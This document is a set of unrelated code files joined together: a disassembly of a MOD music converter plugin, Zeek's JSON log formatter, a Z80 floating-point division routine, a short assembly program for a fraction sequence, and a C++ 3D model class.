00008: 0065 01 C0 ADD EAX, EAX
00008: 0067 50 PUSH EAX
00008: 0068 E8 00000000 CALL SHORT ?MADPlugNewPtr@@YAPADJPAUMADDriverSettings@@@Z
00008: 006D 59 POP ECX
00008: 006E 59 POP ECX
00008: 006F 85 C0 TEST EAX, EAX
00008: 0071 75 05 JNE L0007
00008: 0073 83 CF FFFFFFFF OR EDI, FFFFFFFF
00008: 0076 EB 55 JMP L0008
00000: 0078 ALIGN 00000010, 00000008
00008: 0078 L0007:
00008: 0078 50 PUSH EAX
00008: 0079 E8 00000000 CALL SHORT _free
00008: 007E 59 POP ECX
00008: 007F 53 PUSH EBX
00008: 0080 8B 44 24 08 MOV EAX, DWORD PTR 00000008[ESP]
00008: 0084 50 PUSH EAX
00008: 0085 E8 00000000 CALL SHORT ?MADPlugNewPtr@@YAPADJPAUMADDriverSettings@@@Z
00008: 008A 59 POP ECX
00008: 008B 59 POP ECX
00008: 008C 89 C5 MOV EBP, EAX
00008: 008E 56 PUSH ESI
00008: 008F 55 PUSH EBP
00008: 0090 8B 44 24 0C MOV EAX, DWORD PTR 0000000C[ESP]
00008: 0094 50 PUSH EAX
00008: 0095 E8 00000000 CALL SHORT _iRead
00008: 009A 83 C4 0C ADD ESP, 0000000C
00008: 009D 8B 44 24 04 MOV EAX, DWORD PTR 00000004[ESP]
00008: 00A1 50 PUSH EAX
00008: 00A2 55 PUSH EBP
00008: 00A3 E8 00000000 CALL SHORT ?TestMODFile@@YAFPADJ@Z
00008: 00A8 59 POP ECX
00008: 00A9 59 POP ECX
00008: 00AA 89 C7 MOV EDI, EAX
00008: 00AC 66 85 FF TEST DI, DI
00008: 00AF 75 15 JNE L0009
00008: 00B1 53 PUSH EBX
00008: 00B2 FF 74 24 28 PUSH DWORD PTR 00000028[ESP]
00008: 00B6 8B 44 24 0C MOV EAX, DWORD PTR 0000000C[ESP]
00008: 00BA 50 PUSH EAX
00008: 00BB 55 PUSH EBP
00008: 00BC E8 00000000 CALL SHORT ?PPConvertMod2Mad@@YAFPADJPAUMADMusic@@PAUMADDriverSettings@@@Z
00008: 00C1 83 C4 10 ADD ESP, 00000010
00008: 00C4 89 C7 MOV EDI, EAX
00008: 00C6 L0009:
00008: 00C6 55 PUSH EBP
00008: 00C7 E8 00000000 CALL SHORT _free
00008: 00CC 59 POP ECX
00008: 00CD L0008:
00008: 00CD 56 PUSH ESI
00008: 00CE E8 00000000 CALL SHORT _iClose
00008: 00D3 59 POP ECX
00008: 00D4 E9 00000173 JMP L000A
00000: 00D9 8D 84 20 00000000 ALIGN 00000010, 00000008
00008: 00E0 L0006:
00008: 00E0 BF FFFFFFFE MOV EDI, FFFFFFFE
00008: 00E5 E9 00000162 JMP L000A
00000: 00EA 8D 80 00000000 ALIGN 00000010, 00000008
00008: 00F0 L0004:
00008: 00F0 56 PUSH ESI
00008: 00F1 E8 00000000 CALL SHORT _iFileOpen
00008: 00F6 59 POP ECX
00008: 00F7 89 C5 MOV EBP, EAX
00008: 00F9 85 ED TEST EBP, EBP
00008: 00FB 74 5B JE L000B
00008: 00FD C7 44 24 04 00001388 MOV DWORD PTR 00000004[ESP], 00001388
00008: 0105 53 PUSH EBX
00008: 0106 68 00001388 PUSH 00001388
00008: 010B E8 00000000 CALL SHORT ?MADPlugNewPtr@@YAPADJPAUMADDriverSettings@@@Z
00008: 0110 59 POP ECX
00008: 0111 59 POP ECX
00008: 0112 89 C6 MOV ESI, EAX
00008: 0114 85 F6 TEST ESI, ESI
00008: 0116 75 08 JNE L000C
00008: 0118 83 CF FFFFFFFF OR EDI, FFFFFFFF
00008: 011B EB 2F JMP L000D
00000: 011D 8D 40 00 ALIGN 00000010, 00000008
00008: 0120 L000C:
00008: 0120 55 PUSH EBP
00008: 0121 56 PUSH ESI
00008: 0122 8B 44 24 0C MOV EAX, DWORD PTR 0000000C[ESP]
00008: 0126 50 PUSH EAX
00008: 0127 E8 00000000 CALL SHORT _iRead
00008: 012C 83 C4 0C ADD ESP, 0000000C
00008: 012F 55 PUSH EBP
00008: 0130 E8 00000000 CALL SHORT _iGetEOF
00008: 0135 59 POP ECX
00008: 0136 89 44 24 04 MOV DWORD PTR 00000004[ESP], EAX
00008: 013A 50 PUSH EAX
00008: 013B 56 PUSH ESI
00008: 013C E8 00000000 CALL SHORT ?TestMODFile@@YAFPADJ@Z
00008: 0141 59 POP ECX
00008: 0142 59 POP ECX
00008: 0143 89 C7 MOV EDI, EAX
00008: 0145 56 PUSH ESI
00008: 0146 E8 00000000 CALL SHORT _free
00008: 014B 59 POP ECX
00008: 014C L000D:
00008: 014C 55 PUSH EBP
00008: 014D E8 00000000 CALL SHORT _iClose
00008: 0152 59 POP ECX
00008: 0153 E9 000000F4 JMP L000A
00000: 0158 ALIGN 00000010, 00000008
00008: 0158 L000B:
00008: 0158 BF FFFFFFFE MOV EDI, FFFFFFFE
00008: 015D E9 000000EA JMP L000A
00000: 0162 ALIGN 00000010, 00000008
00008: 0162 L0001:
00008: 0162 8D 44 24 04 LEA EAX, DWORD PTR 00000004[ESP]
00008: 0166 50 PUSH EAX
00008: 0167 53 PUSH EBX
00008: 0168 FF 74 24 2C PUSH DWORD PTR 0000002C[ESP]
00008: 016C E8 00000000 CALL SHORT ?PPConvertMad2Mod@@YAPADPAUMADMusic@@PAUMADDriverSettings@@PAJ@Z
00008: 0171 83 C4 0C ADD ESP, 0000000C
00008: 0174 89 C3 MOV EBX, EAX
00008: 0176 85 DB TEST EBX, EBX
00008: 0178 74 3C JE L000E
00008: 017A 68 5354726B PUSH 5354726B
00008: 017F 56 PUSH ESI
00008: 0180 E8 00000000 CALL SHORT _iFileCreate
00008: 0185 59 POP ECX
00008: 0186 59 POP ECX
00008: 0187 56 PUSH ESI
00008: 0188 E8 00000000 CALL SHORT _iFileOpen
00008: 018D 59 POP ECX
00008: 018E 89 C5 MOV EBP, EAX
00008: 0190 85 ED TEST EBP, EBP
00008: 0192 74 16 JE L000F
00008: 0194 55 PUSH EBP
00008: 0195 53 PUSH EBX
00008: 0196 8B 44 24 0C MOV EAX, DWORD PTR 0000000C[ESP]
00008: 019A 50 PUSH EAX
00008: 019B E8 00000000 CALL SHORT _iWrite
00008: 01A0 83 C4 0C ADD ESP, 0000000C
00008: 01A3 55 PUSH EBP
00008: 01A4 E8 00000000 CALL SHORT _iClose
00008: 01A9 59 POP ECX
00008: 01AA L000F:
00008: 01AA 53 PUSH EBX
00008: 01AB E8 00000000 CALL SHORT _free
00008: 01B0 59 POP ECX
00008: 01B1 E9 00000096 JMP L000A
00000: 01B6 ALIGN 00000010, 00000008
00008: 01B6 L000E:
00008: 01B6 BF FFFFFFFE MOV EDI, FFFFFFFE
00008: 01BB E9 0000008C JMP L000A
00000: 01C0 ALIGN 00000010, 00000008
00008: 01C0 L0003:
00008: 01C0 56 PUSH ESI
00008: 01C1 E8 00000000 CALL SHORT _iFileOpen
00008: 01C6 59 POP ECX
00008: 01C7 89 C6 MOV ESI, EAX
00008: 01C9 85 F6 TEST ESI, ESI
00008: 01CB 74 73 JE L0010
00008: 01CD 56 PUSH ESI
00008: 01CE E8 00000000 CALL SHORT _iGetEOF
00008: 01D3 59 POP ECX
00008: 01D4 89 85 00000088 MOV DWORD PTR 00000088[EBP], EAX
00008: 01DA C7 44 24 04 00001388 MOV DWORD PTR 00000004[ESP], 00001388
00008: 01E2 53 PUSH EBX
00008: 01E3 68 00001388 PUSH 00001388
00008: 01E8 E8 00000000 CALL SHORT ?MADPlugNewPtr@@YAPADJPAUMADDriverSettings@@@Z
00008: 01ED 59 POP ECX
00008: 01EE 59 POP ECX
00008: 01EF 89 C3 MOV EBX, EAX
00008: 01F1 85 DB TEST EBX, EBX
00008: 01F3 75 0B JNE L0011
00008: 01F5 83 CF FFFFFFFF OR EDI, FFFFFFFF
00008: 01F8 EB 3D JMP L0012
00000: 01FA 8D 80 00000000 ALIGN 00000010, 00000008
00008: 0200 L0011:
00008: 0200 56 PUSH ESI
00008: 0201 53 PUSH EBX
00008: 0202 8B 44 24 0C MOV EAX, DWORD PTR 0000000C[ESP]
00008: 0206 50 PUSH EAX
00008: 0207 E8 00000000 CALL SHORT _iRead
00008: 020C 83 C4 0C ADD ESP, 0000000C
00008: 020F 8B 85 00000088 MOV EAX, DWORD PTR 00000088[EBP]
00008: 0215 50 PUSH EAX
00008: 0216 53 PUSH EBX
00008: 0217 E8 00000000 CALL SHORT ?TestMODFile@@YAFPADJ@Z
00008: 021C 59 POP ECX
00008: 021D 59 POP ECX
00008: 021E 89 C7 MOV EDI, EAX
00008: 0220 66 85 FF TEST DI, DI
00008: 0223 75 0B JNE L0013
00008: 0225 53 PUSH EBX
00008: 0226 55 PUSH EBP
00008: 0227 E8 00000000 CALL SHORT ?ExtractMODInfo@@YAFPAUPPInfoRec@@PAD@Z
00008: 022C 59 POP ECX
00008: 022D 59 POP ECX
00008: 022E 89 C7 MOV EDI, EAX
00008: 0230 L0013:
00008: 0230 53 PUSH EBX
00008: 0231 E8 00000000 CALL SHORT _free
00008: 0236 59 POP ECX
00008: 0237 L0012:
00008: 0237 56 PUSH ESI
00008: 0238 E8 00000000 CALL SHORT _iClose
00008: 023D 59 POP ECX
00008: 023E EB 0C JMP L000A
00000: 0240 ALIGN 00000010, 00000008
00008: 0240 L0010:
00008: 0240 BF FFFFFFFE MOV EDI, FFFFFFFE
00008: 0245 EB 05 JMP L000A
00000: 0247 ALIGN 00000010, 00000008
00008: 0247 L0005:
00008: 0247 BF FFFFFFF8 MOV EDI, FFFFFFF8
00008: 024C L000A:
00008: 024C 89 F8 MOV EAX, EDI
00000: 024E L0000:
00000: 024E 83 C4 08 ADD ESP, 00000008
00000: 0251 5D POP EBP
00000: 0252 5F POP EDI
00000: 0253 5E POP ESI
00000: 0254 5B POP EBX
00000: 0255 C3 RETN
|
// See the file "COPYING" in the main distribution directory for copyright.
#include "zeek-config.h"
#include "JSON.h"
#include "rapidjson/internal/ieee754.h"
#include "Desc.h"
#include "threading/MsgThread.h"
#ifndef __STDC_LIMIT_MACROS
#define __STDC_LIMIT_MACROS
#endif
#include <sstream>
#include <errno.h>
#include <math.h>
#include <stdint.h>
using namespace threading::formatter;
bool JSON::NullDoubleWriter::Double(double d)
{
if ( rapidjson::internal::Double(d).IsNanOrInf() )
return rapidjson::Writer<rapidjson::StringBuffer>::Null();
return rapidjson::Writer<rapidjson::StringBuffer>::Double(d);
}
JSON::JSON(MsgThread* t, TimeFormat tf) : Formatter(t), surrounding_braces(true)
{
timestamps = tf;
}
JSON::~JSON()
{
}
bool JSON::Describe(ODesc* desc, int num_fields, const Field* const * fields,
Value** vals) const
{
rapidjson::StringBuffer buffer;
NullDoubleWriter writer(buffer);
writer.StartObject();
for ( int i = 0; i < num_fields; i++ )
{
if ( vals[i]->present )
BuildJSON(writer, vals[i], fields[i]->name);
}
writer.EndObject();
desc->Add(buffer.GetString());
return true;
}
bool JSON::Describe(ODesc* desc, Value* val, const std::string& name) const
{
if ( desc->IsBinary() )
{
GetThread()->Error("json formatter: binary format not supported");
return false;
}
if ( ! val->present || name.empty() )
return true;
rapidjson::Document doc;
rapidjson::StringBuffer buffer;
NullDoubleWriter writer(buffer);
writer.StartObject();
BuildJSON(writer, val, name);
writer.EndObject();
desc->Add(buffer.GetString());
return true;
}
threading::Value* JSON::ParseValue(const std::string& s, const std::string& name, zeek::TypeTag type, zeek::TypeTag subtype) const
{
GetThread()->Error("JSON formatter does not support parsing yet.");
return nullptr;
}
void JSON::BuildJSON(NullDoubleWriter& writer, Value* val, const std::string& name) const
{
if ( ! val->present )
{
writer.Null();
return;
}
if ( ! name.empty() )
writer.Key(name);
switch ( val->type )
{
case zeek::TYPE_BOOL:
writer.Bool(val->val.int_val != 0);
break;
case zeek::TYPE_INT:
writer.Int64(val->val.int_val);
break;
case zeek::TYPE_COUNT:
case zeek::TYPE_COUNTER:
writer.Uint64(val->val.uint_val);
break;
case zeek::TYPE_PORT:
writer.Uint64(val->val.port_val.port);
break;
case zeek::TYPE_SUBNET:
writer.String(Formatter::Render(val->val.subnet_val));
break;
case zeek::TYPE_ADDR:
writer.String(Formatter::Render(val->val.addr_val));
break;
case zeek::TYPE_DOUBLE:
case zeek::TYPE_INTERVAL:
writer.Double(val->val.double_val);
break;
case zeek::TYPE_TIME:
{
if ( timestamps == TS_ISO8601 )
{
char buffer[40];
char buffer2[48];
time_t the_time = time_t(floor(val->val.double_val));
struct tm t;
if ( ! gmtime_r(&the_time, &t) ||
! strftime(buffer, sizeof(buffer), "%Y-%m-%dT%H:%M:%S", &t) )
{
GetThread()->Error(GetThread()->Fmt("json formatter: failure getting time: (%lf)", val->val.double_val));
// This was a failure, doesn't really matter what gets put here
// but it should probably stand out...
writer.String("2000-01-01T00:00:00.000000");
}
else
{
double integ;
double frac = modf(val->val.double_val, &integ);
if ( frac < 0 )
frac += 1;
snprintf(buffer2, sizeof(buffer2), "%s.%06.0fZ", buffer, fabs(frac) * 1000000);
writer.String(buffer2, strlen(buffer2));
}
}
else if ( timestamps == TS_EPOCH )
writer.Double(val->val.double_val);
else if ( timestamps == TS_MILLIS )
{
// ElasticSearch uses milliseconds for timestamps
writer.Uint64((uint64_t) (val->val.double_val * 1000));
}
break;
}
case zeek::TYPE_ENUM:
case zeek::TYPE_STRING:
case zeek::TYPE_FILE:
case zeek::TYPE_FUNC:
{
writer.String(json_escape_utf8(std::string(val->val.string_val.data, val->val.string_val.length)));
break;
}
case zeek::TYPE_TABLE:
{
writer.StartArray();
for ( int idx = 0; idx < val->val.set_val.size; idx++ )
BuildJSON(writer, val->val.set_val.vals[idx]);
writer.EndArray();
break;
}
case zeek::TYPE_VECTOR:
{
writer.StartArray();
for ( int idx = 0; idx < val->val.vector_val.size; idx++ )
BuildJSON(writer, val->val.vector_val.vals[idx]);
writer.EndArray();
break;
}
default:
reporter->Warning("Unhandled type in JSON::BuildJSON");
break;
}
}
|
;
; Z88dk Generic Floating Point Math Library
;
; divide bc ix de by FA, leave result in FA
;
; $Id: fdiv.asm,v 1.4 2015/01/19 01:32:56 pauloscustodio Exp $
PUBLIC fdiv
EXTERN sgn
EXTERN div14
EXTERN pack2
EXTERN norm4
EXTERN fa
EXTERN extra
.fdiv
call sgn
ret z ;dividing by zero..
LD L,$FF ;"quotient" flag
CALL div14 ;find quotient exponent
PUSH IY
INC (HL)
INC (HL)
DEC HL
PUSH HL ; c' h'l' d'e' (divisor) = FA...
EXX
POP HL
LD C,(HL)
DEC HL
LD D,(HL)
DEC HL
LD E,(HL)
DEC HL
LD A,(HL)
DEC HL
LD L,(HL)
LD H,A
EX DE,HL
EXX
LD B,C ; b iy hl (dividend) = c ix de...
EX DE,HL
PUSH IX
POP IY
XOR A ; c ix de (quotient) = 0...
LD C,A
LD D,A
LD E,A
LD IX,0
LD (extra),A
.DIV2 PUSH HL ;save b iy hl in case the subtraction
PUSH IY ; proves to be unnecessary
PUSH BC
PUSH HL ; EXTRA b iy hl (dividend) -=
LD A,B ; c' h'l' d'e' (divisor)...
EXX
EX (SP),HL
OR A
SBC HL,DE
EX (SP),HL
EX DE,HL
PUSH IY
EX (SP),HL
SBC HL,DE
EX (SP),HL
POP IY
EX DE,HL
SBC A,C
EXX
POP HL
LD B,A
LD A,(extra)
SBC A,0
CCF
JR NC,DIV4 ; nc => subtraction caused carry
LD (extra),A
POP AF ;discard saved value of dividend...
POP AF
POP AF
SCF
JR DIV6
.DIV4 POP BC ;restore dividend...
POP IY
POP HL
;
.DIV6 INC C
DEC C
RRA
JP M,DIV12
RLA ;shift c ix de a (quotient) left by 1...
RL E
RL D
EX AF,AF' ;(these 6 lines are adc ix,ix...)
ADD IX,IX
EX AF,AF'
JR NC,DIV8
INC IX
.DIV8 EX AF,AF'
RL C ;...end of c ix de a shifting
ADD HL,HL ;shift EXTRA b iy hl left by 1...
EX AF,AF'
ADD IY,IY
EX AF,AF'
JR NC,DIV9
INC IY
.DIV9 EX AF,AF'
RL B
LD A,(extra)
RLA
LD (extra),A ;...end of EXTRA b iy hl shifting
LD A,C ;test c ix de...
OR D
OR E
OR IXH
OR IXL ;...end of c ix de testing
JR NZ,DIV2 ;nz => dividend nonzero
PUSH HL
LD HL,fa+5
DEC (HL)
POP HL
JR NZ,DIV2
ret ;overflow?
; JR OFLOW2
;
.DIV12 POP IY
JP pack2
|
; A128492: Denominator of Sum_{k=1..n} 1/(2*k-1)^2.
; Submitted by Jon Maiga
; 1,9,225,11025,99225,12006225,2029052025,405810405,117279207045,42337793743245,42337793743245,22396692890176605,2799586611272075625,25196279501448680625,21190071060718340405625
mul $0,2
mov $1,1
lpb $0
mov $2,$0
sub $0,2
add $2,1
pow $2,2
mul $3,$2
add $3,$1
mul $1,$2
lpe
gcd $3,$1
div $1,$3
mov $0,$1
|
#include <Engine/Model/CModel.h>
#include <Engine/Texture/CTexture.h>
#include <Engine/Model/CMesh.h>
#include <Engine/Shader/CShader.h>
#include <Engine/Camera/CCamera.h>
#include <Engine/Engine.h>
#include <Engine/Light/CLightsSet.h>
#include <Engine/Serialization/SerializationUtils.h>
#include <iostream>
std::ostream &operator<<(std::ostream& stream, const CModel& model)
{
using json = nlohmann::json;
json j = model.ToJson();
stream << j.dump(4);
return stream;
}
CModel::CModel()
: m_translation(0.f, 0.f, 0.f)
, m_rotation()
, m_scale(1.f, 1.f, 1.f)
{
CalculateTransformation();
}
CModel::CModel(std::vector<CMesh*>& meshes)
{
m_meshes = meshes;
}
CModel::~CModel()
{
for (size_t i = 0; i < m_meshes.size(); i++)
delete m_meshes[i];
m_meshes.clear();
}
void CModel::Draw(CCamera& m_camera, CLightsSet& lights)
{
assert(m_shader);
m_shader->Use();
BindUniforms();
m_camera.Use(*m_shader);
lights.Use(*m_shader);
for (const auto& mesh : m_meshes)
{
mesh->Draw(*m_shader);
}
}
void CModel::SetPosition(glm::vec3 position)
{
m_translation = position;
CalculateTransformation();
}
void CModel::Translate(glm::vec3 translation)
{
m_translation += translation;
CalculateTransformation();
}
void CModel::SetRotation(glm::quat rotation)
{
m_rotation = glm::toMat4(rotation);
CalculateTransformation();
}
void CModel::SetRotation(float angle, glm::vec3 axis)
{
m_rotation = glm::toMat4(glm::angleAxis(angle, axis));
CalculateTransformation();
}
void CModel::Rotate(glm::quat rotation)
{
//check maths here
m_rotation = m_rotation * glm::toMat4(rotation);
CalculateTransformation();
}
void CModel::Rotate(float angle, glm::vec3 axis)
{
m_rotation = glm::rotate(m_rotation, angle, axis);
CalculateTransformation();
}
void CModel::SetScale(glm::vec3 scale)
{
m_scale = scale;
CalculateTransformation();
}
void CModel::Scale(glm::vec3 scale)
{
m_scale *= scale;
CalculateTransformation();
}
void CModel::CalculateTransformation()
{
m_transform = glm::mat4();
m_transform = glm::translate(m_transform, m_translation);
m_transform = m_transform * m_rotation;
m_transform = glm::scale(m_transform, m_scale);
}
void CModel::BindUniforms()
{
m_shader->SetMat4("model", std::move(m_transform));
}
nlohmann::json CModel::ToJson() const
{
using json = nlohmann::json;
json j;
j["model"]["translation"] = SerializationUtils::SerializeVec3(m_translation);
j["model"]["rotation"] = SerializationUtils::SerializeMat4(m_rotation);
j["model"]["scale"] = SerializationUtils::SerializeVec3(m_scale);
return j;
}
void CModel::FromJson(nlohmann::json j)
{
SetPosition(SerializationUtils::DeserializeVec3(j["model"]["translation"]));
SetRotation(SerializationUtils::DeserializeMat4(j["model"]["rotation"]));
SetScale(SerializationUtils::DeserializeVec3(j["model"]["scale"]));
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.